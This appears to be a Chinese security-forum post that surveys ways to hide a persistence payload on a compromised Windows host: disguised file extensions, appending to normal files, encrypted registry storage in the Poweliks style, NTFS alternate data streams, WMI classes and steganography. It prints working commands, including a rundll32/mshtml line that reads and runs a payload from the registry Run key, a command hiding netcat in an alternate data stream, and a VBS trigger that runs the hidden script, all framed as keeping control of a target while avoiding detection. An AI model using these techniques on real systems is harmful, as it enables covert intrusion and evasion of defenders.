整理一下payload隐藏的相关技巧,也想向大家学习一下更好的经验思路:)

0x00 目标:

维持对目标主机的控制权限

0x01 要求:

尽最大程度减少在目标windows主机留下文件,降低被发现被捕获样本的概率

0x02 方法:

1、伪造文件后缀名

使用不常见的后缀名,藏于系统的某个角落

分析:

最简单直接的办法,但被发现的概率也最大

2、插入正常文件

将payload保存到系统正常文件的中间或者尾部

分析:

比方法1高级一些,复杂度+1,没有单独生成文件,隐蔽性+2

3、藏于注册表

将payload加密存于注册表

分析:

易被监控,隐蔽性-1,但poweliks的运用使该项技术创新性+2

poweliks简介:

2014年8月左右出现

XCon2015《应用层持久化攻击技术》也对此做了介绍

特点:

将payload保存为非ASCII字符,无法被注册表正常读取

运行代码方式:

(1)直接执行jscript

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');

(2)读取注册表payload并执行

HKCU\\software\\microsoft\\windows\\currentversion\\run\\

读取并执行

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=jscript>"+(new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")+"\74/script>")

如图

Payload隐藏技巧交流

补充:

一个加密jscript的网站:http://tool.lu/js/

4、ADS (供选数据流/ alternate data stream)

将payload存入正常文件的ADS中

分析:

适用于长度较小的payload,常用来执行vbs、Powershell脚本,效率+1,实现难度-1

常用命令:

列出文件ADS

dir /r test.txt

写入ADS

type nc.exe > test.txt:nc.exe

触发器

该触发器是一段VB脚本,会打开一个cmd运行test.txt:1 里的脚本

echo Dim objShell:Set objShell = WScript.CreateObject("WScript.Shell"):command = "cmd /C for /f ""delims=,"" %i in

(C:\\test\\test.txt:1) do %i":objShell.Run command, 0:Set objShell = Nothing > test.txt:run.vbs

5、wmibackdoor

将payload存入WMI Class中,详情见drops链接:http://drops.wooyun.org/tips/8260

分析:

该方法目前普及不高,检测方法也很单一,所以payload放在这里隐蔽性+3

6、Steganography

隐写术,将payload存到图片中,甚至可以伪造windows中的默认图片

分析:

隐写术由来已久,但门槛很高,复杂度+1,因此检测成本也很高,隐蔽性+3

下图存入了我的payload,如果有兴趣的同学解密出来送他wb:)

Payload隐藏技巧交流

0x03 小结

ring0下隐藏未涉及,愿意分享的同学也送你wb:)

如果发现我的理解有误,请及时指出~

希望大家把思路分享出来,共同学习共同进步~

[原文地址]

留言评论(旧系统):

佚名 @ 2015-10-22 00:28:11

试了好几个软件,没有解出来您图片中的信息,555. 能告诉我怎么做的吗?

本站回复:

哈哈哈,继续加油!